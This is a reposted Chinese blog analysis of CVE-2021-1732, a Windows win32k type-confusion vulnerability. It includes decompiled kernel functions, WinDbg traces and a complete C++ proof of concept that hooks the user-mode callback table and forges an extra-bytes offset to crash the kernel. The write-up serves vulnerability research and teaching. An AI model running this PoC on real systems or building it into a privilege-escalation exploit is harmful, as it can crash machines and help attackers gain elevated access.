當前位置：首頁 >

【安全漏洞】CVE-2021-1732 win32k漏洞分析

發布時間：2025/3/21 31 豆豆

生活随笔收集整理的這篇文章主要介紹了【安全漏洞】CVE-2021-1732 win32k漏洞分析小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞描述

內核模塊win32kfull.sys的win32kfull!xxxClientAllocWindowClassExtraBytes函數中存在Type Confusion漏洞，利用此漏洞進行越界讀寫，最終可實現本地提權

官方通報影響的windows版本:

Windows 10 Version 1803/1809/1909/2004/20h2

Windows Server, version 1909/20H2(Server Core installation)

Windows 10 Version for 32-bit Systems

Windows Server 2019

漏洞分析

分析Windows版本：win10 20h2 19042.508

Type Confusion漏洞存在于win32kfull!xxxCreateWindowEx函數中，函數中漏洞點的偽代碼如下：

漏洞是怎么出現的呢？這得從窗口創建說起

【→所有資源關注我，私信回復“資料”獲取←】
1、網絡安全學習路線
2、電子書籍（白帽子）
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記

創建一個自定義的窗口前需要注冊自定義的窗口類，窗口類的結構體如下：

typedef struct tagWNDCLASSA {UINT style;WNDPROC lpfnWndProc;int cbClsExtra;int cbWndExtra;HINSTANCE hInstance;HICON hIcon;HCURSOR hCursor;HBRUSH hbrBackground;LPCSTR lpszMenuName;LPCSTR lpszClassName; } WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;

填寫好窗口類的結構體的成員，緊接著就可以調用CreateWindow(EXA/W)創建窗口，R0到R3的執行總體流程如下：

00 fffffe82`32d3f848 fffff467`52aa51a9 win32kfull!xxxCreateWindowEx 01 fffffe82`32d3f850 fffff467`5285519e win32kfull!NtUserCreateWindowEx+0x679 02 fffffe82`32d3f9f0 fffff802`36e058b5 win32k!NtUserCreateWindowEx+0xc2 03 fffffe82`32d3fa90 00007ffe`d86e1ec4 nt!KiSystemServiceCopyEnd+0x25 04 00000062`2ad9f7d8 00007ffe`d8ca7d8b win32u!NtUserCreateWindowEx+0x14 05 00000062`2ad9f7e0 00007ffe`d8ca7958 USER32!VerNtUserCreateWindowEx+0x20f 06 00000062`2ad9fb70 00007ffe`d8ca3c92 USER32!CreateWindowInternal+0x1a4 07 00000062`2ad9fcd0 00007ff7`9418144d USER32!CreateWindowExA+0x82

可以看到創建窗口的時候最終會進入漏洞存在的函數win32kfull!xxxCreateWindowEx，那么怎樣才能在win32kfull!xxxCreateWindowEx內調用win32kfull!xxxClientAllocWindowClassExtraBytes(即到達上圖中line: 974)呢？

當tagWNDCLASSA類設置cbWndExtra成員(為窗口實例分配的額外的字節大小)不為0時，就會調用到win32kfull!xxxClientAllocWindowClassExtraBytes函數，問題就出在這個函數中

v50是一個tagWND結構體指針，tagWND在win10的版本中相比win7的版本發生了一些變化，tagWND結構體的關鍵成員如下(圖片來源于紅雨滴團隊)，(_QWORD )(((_QWORD *)v50 + 5) + 0x128i64)即為下圖的pExtraBytes，在當前正常的執行流程中，賦值為win32kfull!xxxClientAllocWindowClassExtraBytes申請到的堆地址，怎么知道是堆地址呢？且看下文

對函數win32kfull!xxxClientAllocWindowClassExtraBytes進行反編譯，得到以下結果：

volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length) {SIZE_T v1; // rdiint v2; // ebx__int64 *v3; // rcxvolatile void *v4; // rbx__int64 CurrentProcessWow64Process; // raxunsigned __int64 v7; // [rsp+30h] [rbp-38h] BYREFvolatile void *v8; // [rsp+38h] [rbp-30h]char v9; // [rsp+70h] [rbp+8h] BYREFchar v10; // [rsp+78h] [rbp+10h] BYREFint v11; // [rsp+80h] [rbp+18h] BYREFint v12; // [rsp+88h] [rbp+20h] BYREFv1 = (unsigned int)Length;v7 = 0i64;v11 = 0;v8 = 0i64;v12 = Length;if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);EtwTraceBeginCallback(0x7Bi64);v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);EtwTraceEndCallback(0x7Bi64);LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);if ( v2 < 0 || v11 != 0x18 )return 0i64;v3 = (__int64 *)v7;if ( v7 + 8 < v7 || v7 + 8 > MmUserProbeAddress )v3 = (__int64 *)MmUserProbeAddress;v8 = (volatile void *)*v3;v4 = v8;CurrentProcessWow64Process = PsGetCurrentProcessWow64Process();ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);return v4; }

函數中調用KeUserModeCallback返回到用戶態執行回調函數，KeUserModeCallback函數原型如下：

NTSTATUS KeUserModeCallback (IN ULONG ApiNumber,IN PVOID InputBuffer,IN ULONG InputLength,OUT PVOID *OutputBuffer,IN PULONG OutputLength);

首先根據API號0x7b可確定回調函數為user32!_xxxClientAllocWindowClassExtraBytes

0: kd> dt ntdll!_PEB @$peb Ke*+0x058 KernelCallbackTable : 0x00007fff`4e1e1070 Void 0: kd> u poi(0x00007fff`4e1e1070 + 7b * 8) user32!_xxxClientAllocWindowClassExtraBytes: 00007fff`4e177840 4883ec48 sub rsp,48h 00007fff`4e177844 8364242800 and dword ptr [rsp+28h],0 00007fff`4e177849 488364243000 and qword ptr [rsp+30h],0 00007fff`4e17784f 448b01 mov r8d,dword ptr [rcx] 00007fff`4e177852 ba08000000 mov edx,8 00007fff`4e177857 488b0dd2b70800 mov rcx,qword ptr [user32!pUserHeap (00007fff`4e203030)] 00007fff`4e17785e 48ff154bb20600 call qword ptr [user32!_imp_RtlAllocateHeap (00007fff`4e1e2ab0)] 00007fff`4e177865 0f1f440000 nop dword ptr [rax+rax]

對user32!_xxxClientAllocWindowClassExtraBytes進行反匯編，得到以下結果：

NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1) {PVOID Result; // [rsp+20h] [rbp-28h] BYREFint v3; // [rsp+28h] [rbp-20h]__int64 v4; // [rsp+30h] [rbp-18h]v3 = 0;v4 = 0i64;Result = RtlAllocateHeap(pUserHeap, 8u, *a1);return NtCallbackReturn(&Result, 0x18u, 0); }

函數內調用RtlAllocateHeap從pUserHeap所指的用戶堆空間申請*a1(Length)字節的空間，并通過NtCallbackReturn攜帶堆地址返回到內核態，NtCallbackReturn函數原型如下：

因此我們可以獲得這樣的執行流程

xxxClientAllocWindowClassExtraBytes > KeUserModeCallback > _xxxClientAllocWindowClassExtraBytes > NtCallbackReturn

以上都屬于正常的執行流程，接下來講一下漏洞的產生過程

pExtraBytes(offset: 0x128)與ExtraFlag(offset: 0xe8)標志相關：當ExtraFlag & 0x800 == 0時，pExtraBytes表示的是內存指針，即上述的堆地址；當ExtraFlag & 0x800 != 0時，pExtraBytes表示的是內存偏移

因為執行完win32kfull!xxxClientAllocWindowClassExtraBytes函數，沒有對tagWND的ExtraFlag 進行校驗，所以惡意攻擊者可以在回調函數內將tagWNDExtraFlag 進行ExtraFlag | 0x800，就會使pExtraBytes表示的是內存偏移，不再表示為內存地址，再惡意控制pExtraBytes的偏移，同樣調用NtCallbackReturn將偏移值返回給內核，就可以發生越界讀寫，通過越界讀寫進而獲取讀寫原語，最終導致本地權限提升

漏洞驗證

漏洞驗證關鍵的兩點：

抵達漏洞的路徑
觸發漏洞的環境

抵達漏洞的路徑：設置tagWNDCLASSA的cbWndExtra，調用CreateWindow創建窗口

觸發漏洞的環境：回調函數內修改tagWND的ExtraFlag并且返回指定的偏移值

POC編寫

在編寫POC前，還需要搞清楚一些問題：

在調用CreateWindow期間(函數沒有返回)如何獲取窗口句柄

如何修改tagWND的ExtraFlag

問題1：在參考了網上公開的一些方法后，我選擇了一種重利用的方法，這跟池噴射后構造指定大小的空洞來進行控制分配有著相似的地方。簡單來說，就是分配一定數量的窗口(窗口類相同)，緊接著銷毀這些窗口，然后創建要觸發漏洞的窗口(窗口的pExtraBytes為特殊的數值)，觸發漏洞的窗口就會被分配到某個剛剛銷毀的窗口所在的內存區域。觸發漏洞的窗口完成占坑后，我們是怎么獲取到窗口句柄的呢？原來我們可以通過一開始創建好的窗口的句柄泄露tagWND在用戶態的內存指針，其首地址存儲的就是窗口句柄，偏移0xc8處存儲的是pExtraBytes，通過對特殊值的比較，就可以搜索到觸發漏洞的窗口的用戶態tagWND首地址，讀取其首地址的值，即可獲得其窗口句柄

問題2：大神們發現，win32kfull!xxxConsoleControl函數可以設置tagWND的ExtraFlag，調用此函數的用戶態API為NtUserConsoleControl

__int64 __fastcall xxxConsoleControl(int a1, struct _CONSOLE_PROCESS_INFO *a2, int a3) {...v16 = (_QWORD *)ValidateHwnd(*(_QWORD *)a2);// 獲取tagWND的地址v17 = (__int64)v16;...v18 = v16 + 5;// 獲取pwnd的地址(真正的tagWND)...// 若ExtraFlag & 0x800 != 0if ( (*(_DWORD *)(*v18 + 0xE8i64) & 0x800) != 0 ){v23 = (_DWORD *)(*(_QWORD *)(*(_QWORD *)(v17 + 0x18) + 0x80i64) + *(_QWORD *)(v22 + 0x128));}else{// 從桌面堆進行分配v23 = (_DWORD *)DesktopAlloc(*(_QWORD *)(v17 + 0x18), *(unsigned int *)(v22 + 0xC8), 0i64);...if ( *(_QWORD *)(*v18 + 0x128i64) ){CurrentProcess = PsGetCurrentProcess();v30 = *(_DWORD *)(*v18 + 0xC8i64);v29 = *(const void **)(*v18 + 0x128i64);memmove(v23, v29, v30);if ( (*(_DWORD *)(CurrentProcess + 1124) & 0x40000008) == 0 )xxxClientFreeWindowClassExtraBytes(v17, *(_QWORD *)(*(_QWORD *)(v17 + 40) + 0x128i64));}*(_QWORD *)(*v18 + 0x128i64) = (char *)v23 - *(_QWORD *)(*(_QWORD *)(v17 + 24) + 0x80i64);}if ( v23 ){*v23 = *((_DWORD *)a2 + 2);v23[1] = *((_DWORD *)a2 + 3);}// 將ExtraFlag |= 0x800u *(_DWORD *)(*v18 + 0xE8i64) |= 0x800u;goto LABEL_33;}... }

在上述問題得以解決后，就可以愉快地編寫POC了

獲取一些關鍵函數地址：HMValidateHandle函數可以根據窗口句柄獲取用戶態tagWND的地址，雖然它不是導出函數，但是可以在IsMenu函數所在的內存區域進行搜索；NtCallbackReturn函數可以將結果返回給內核，上文已經提及

VOID InitFunction() {HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");if (!hNtdll || !hWin || !hUser){ErrorOutput("[-] Failed to load the ntdll.dll, win32u.dll, user32.dll\n");}global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");if (!global::NtCallbackReturn || !global::NtUserConsoleControl){ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");}PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");if (!isMenu){ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");}while (*isMenu++ != 0xe8);global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));if (!global::HMValidateHandle){ErrorOutput("[-] Failed to get HMValidateHandle\n");} }

調用VirtualProtect函數修改回調函數表所在的內存頁的屬性，替換相應的回調函數為自定義的回調函數：__readgsqword(0x60)獲取到當前進程的PEB結構地址，PEB結構偏移0x58處就是KernelCallbackTable(回調函數表)

3: kd> dt ntdll!_PEB KernelCallbackTable+0x058 KernelCallbackTable : Ptr64 Void

VOID HookCallBack() {ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);if (!KernelCallbackTable){printf("[-] Failed to get kernel callback table\n");exit(1);}DWORD oldProtect = 0;ULONG64 target = KernelCallbackTable + (0x7B * 8);VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);global::orginCallBack = (pCallBack)(*(PULONG64)target);*(PULONG64)target = (ULONG64)FakeCallBack;VirtualProtect((LPVOID)target, 0x100, oldProtect, &oldProtect); }

自定義的回調函數：NtCallbackReturn用于返回指定的偏移給內核，調用方法仿照_xxxClientAllocWindowClassExtraBytes，NtUserConsoleControl的調用參數有一點講究，在內核調用xxxConsoleControl之前調用的是NtUserConsoleControl，其中會有一些小檢查，即第一個參數不能大于6，第三個參數不能大于0x18

并且在xxxConsoleControl中還有一部分檢查，最終決定第一個參數為6，最后一個參數為0x10

VOID FakeCallBack(PULONG32 para) {if (*para == global::magicNum && global::flag){printf("[+] Enter the fake callback\n");HWND target = NULL;for (ULONG32 idx = 2; idx < 20; ++idx){if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum){target = (HWND) * (PULONG64)global::pWnds[idx];printf("[+] Find the target wnd handle: 0x%I64x\n", (ULONG64)target);printf("[+] Find the target wnd address: 0x%I64x\n", (ULONG64)global::pWnds[idx]);break;}}// set flagULONG64 buffer1[2] = { (ULONG64)target, 0 };global::NtUserConsoleControl(6, buffer1, 0x10);// set offsetULONG64 buffer2[3] = { 0x1234, 0, 0 };global::NtCallbackReturn(buffer2, 0x18, 0);}return global::orginCallBack(para); }

1.1. 窗口的創建與銷毀：先創建20個常規的窗口，利用HMValidateHandle泄露窗口地址，再釋放2~19號窗口(全部釋放也行)，創建觸發漏洞窗口，最后將觸發漏洞的窗口進行銷毀，即可觸發BSOD

int main() {InitFunction();HookCallBack();HINSTANCE hInstance = GetModuleHandleA(NULL);WNDCLASSA wc{ 0 };wc.lpfnWndProc = WindowProc;wc.hInstance = hInstance;wc.lpszClassName = "Normal";wc.cbWndExtra = 0x10;ATOM normalClass = RegisterClassA(&wc);if (!normalClass){ErrorOutput("[-] Failed to register normal class\n");}wc.lpszClassName = "Magic";wc.cbWndExtra = global::magicNum;ATOM magicClass = RegisterClassA(&wc);if (!magicClass){ErrorOutput("[-] Failed to register magic class\n");}for (ULONG32 idx = 0; idx < 20; ++idx){global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);if (!global::hWnds[idx]){ErrorOutput("[-] Failed to create normal window\n");}global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);}for (ULONG32 idx = 2; idx < 20; ++idx){if (global::hWnds[idx]){DestroyWindow(global::hWnds[idx]);}}global::flag = TRUE;HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);if (!hMagic){ErrorOutput("[-] Failed to create magic window\n");}DestroyWindow(hMagic);return 0; }

POC調試

在回調函數內設置斷點，根據命令行打印出來的指針查看內存，可以看到首地址存儲的句柄，偏移0xc8處即為特殊的數值0xabcd

2: kd> dq 27dab7814c0 l20 0000027d`ab7814c0 00000000`00020350 00000000`000314c0 0000027d`ab7814d0 00000000`00000000 08000000`08000000 0000027d`ab7814e0 00007ff6`13040000 00000000`00000000 0000027d`ab7814f0 00000000`000012b0 00000000`00000000 0000027d`ab781500 00000000`00000000 00000000`00000000 0000027d`ab781510 00000000`00000000 00000000`00000000 0000027d`ab781520 00000000`00000000 00000000`00000000 0000027d`ab781530 00000000`00000000 00007ff6`130410a0 0000027d`ab781540 00000000`0000f160 00000000`00000000 0000027d`ab781550 00000000`00000000 00000000`00000000 0000027d`ab781560 00000000`00000000 00000000`00000000 0000027d`ab781570 00000000`00000000 00000000`00000000 0000027d`ab781580 00000000`00000000 00000000`0000abcd 0000027d`ab781590 00000000`00020221 00000000`00000000 0000027d`ab7815a0 00000000`00000000 00000001`00000000 0000027d`ab7815b0 00000000`00000000 00000000`00000000 2: kd> ? 0000027d`ab781588-0000027d`ab7814c0 Evaluate expression: 200 = 00000000`000000c8

跟蹤內核中的xxxConsoleControl函數，查看內核中的窗口結構，函數沒執行完時，標志ExtraFlag還沒有設置，一旦執行完就設置了標志ExtraFlag

2: kd> dq ffff8a5905879150 l10 ffff8a59`05879150 00000000`00020350 00000000`00000001 ffff8a59`05879160 ffff8a59`02ee48a0 ffff8f01`0b551de0 ffff8a59`05879170 ffff8a59`05879150 ffff8a59`012314c0 ffff8a59`05879180 00000000`000314c0 00000000`00000000 ffff8a59`05879190 00000000`00000000 00000000`00000000 ffff8a59`058791a0 00000000`00000000 00000000`00000000 ffff8a59`058791b0 00000000`00000000 ffff8a59`00830a80 ffff8a59`058791c0 00000000`00000000 00000000`00000000 2: kd> dq poi(@rax+28) ffff8a59`012314c0 00000000`00020350 00000000`000314c0 ffff8a59`012314d0 00000000`00000000 08000000`08000000 ffff8a59`012314e0 00007ff6`13040000 00000000`00000000 ffff8a59`012314f0 00000000`000012b0 00000000`00000000 ffff8a59`01231500 00000000`00000000 00000000`00000000 ffff8a59`01231510 00000000`00000000 00000000`00000000 ffff8a59`01231520 00000000`00000000 00000000`00000000 ffff8a59`01231530 00000000`00000000 00007ff6`130410a0 2: kd> ? poi(poi(@rax+28) + e8) Evaluate expression: 4294967296 = 00000001`00000000 2: kd> g Break instruction exception - code 80000003 (first chance) 0033:00007fff`f6820192 cc int 3 1: kd> dq ffff8a59`012314c0+e8 L1 ffff8a59`012315a8 00000001`00100818 1: kd> ? 00000001`00100818 & 0x800 Evaluate expression: 2048 = 00000000`00000800

在xxxCreateWindowEx中調用win32kfull!xxxClientAllocWindowClassExtraBytes函數的下一條指令下斷點

3: kd> ba e1 ffff8348`7883ce09 3: kd> g Breakpoint 0 hit win32kfull!xxxCreateWindowEx+0x1259: ffff8348`7883ce09 488bc8 mov rcx,rax 3: kd> r rax rax=0000000000001234

執行完這個xxxCreateWindowEx函數后，繼續執行poc中的DestroyWindow就會觸發藍屏

NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=00000000000c2000 rbx=0000000000000000 rcx=00000000000c2000 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000 rip=fffff80557e61cf1 rsp=fffff080407c6740 rbp=ffff8a5901200040r8=ffff8a590113f000 r9=00000000014b92ca r10=ffff8a5901201234 r11=014b92ca3db812e6 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na po nc nt!RtlpHpVsContextFree+0x41: fffff805`57e61cf1 410fb74822 movzx ecx,word ptr [r8+22h] ds:ffff8a59`0113f022=???? Resetting default scopeSTACK_TEXT: fffff080`407c5b68 fffff805`580c7422 : ffff8a59`0113f022 00000000`00000003 fffff080`407c5cd0 fffff805`57f3bb20 : nt!DbgBreakPointWithStatus fffff080`407c5b70 fffff805`580c6b12 : fffff805`00000003 fffff080`407c5cd0 fffff805`57ff3960 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12 fffff080`407c5bd0 fffff805`57fdf327 : fffff805`582844f8 fffff805`580f0fb5 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x952 fffff080`407c62d0 fffff805`58001663 : 00000000`00000050 ffff8a59`0113f022 00000000`00000000 fffff080`407c65b0 : nt!KeBugCheckEx+0x107 fffff080`407c6310 fffff805`57e90edf : fffff080`407f1000 00000000`00000000 00000000`00000000 ffff8a59`0113f022 : nt!MiSystemFault+0x1d6933 fffff080`407c6410 fffff805`57fed320 : 00000000`00000000 fffff805`57e84817 00000000`00000001 00000000`00000000 : nt!MmAccessFault+0x34f fffff080`407c65b0 fffff805`57e61cf1 : ffffa10d`a650ec60 fffff805`5905208d 00000000`00000350 ffff8f01`0e353080 : nt!KiPageFault+0x360 fffff080`407c6740 fffff805`57f0b7fa : 00000000`00000008 fffff080`407c6840 00000000`00000008 00000000`00000003 : nt!RtlpHpVsContextFree+0x41 fffff080`407c67e0 fffff805`57f0b77c : ffff8a59`01200000 00000000`00000000 ffff8a59`01201234 00000000`000002a0 : nt!RtlpFreeHeapInternal+0x5a fffff080`407c6860 ffff8a2a`1d249973 : 00000000`00001234 00000000`00000000 00000000`00000000 ffff8a59`05879150 : nt!RtlFreeHeap+0x3c fffff080`407c68a0 ffff8a2a`1d2463be : ffff8a59`00693920 00000000`08000100 ffff8a59`02ee48a0 ffff8a59`05879150 : win32kfull!xxxFreeWindow+0x4bf fffff080`407c69d0 ffff8a2a`1d319e3a : 00007ff6`13043474 00000000`00000000 00007ff6`13040000 00000000`00000020 : win32kfull!xxxDestroyWindow+0x3ae fffff080`407c6ad0 fffff805`57ff0b18 : 0000027d`40000600 0000000a`00000000 ffffffff`ffe17b80 ffff8f01`0d3e6be0 : win32kfull!NtUserDestroyWindow+0x3a fffff080`407c6b00 00007fff`f5cb23e4 : 00007ff6`1304151d 00000000`00000098 00000000`00000000 00007ff6`00000000 : nt!KiSystemServiceCopyEnd+0x28 000000d5`26dffd28 00007ff6`1304151d : 00000000`00000098 00000000`00000000 00007ff6`00000000 00000000`00000000 : win32u!NtUserDestroyWindow+0x14 000000d5`26dffd30 00000000`00000098 : 00000000`00000000 00007ff6`00000000 00000000`00000000 00000000`00000000 : poc!main+0x33d [D:\SelfLearn\C++Project\Exploit\Exploit\2021-1732-EXP.cpp @ 170] 000000d5`26dffd38 00000000`00000000 : 00007ff6`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x98

總結

以上是生活随笔為你收集整理的【安全漏洞】CVE-2021-1732 win32k漏洞分析的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

上一篇：【网络安全】HTB靶机渗透系列之Snip
下一篇： [web安全]深入理解反射式dll注入技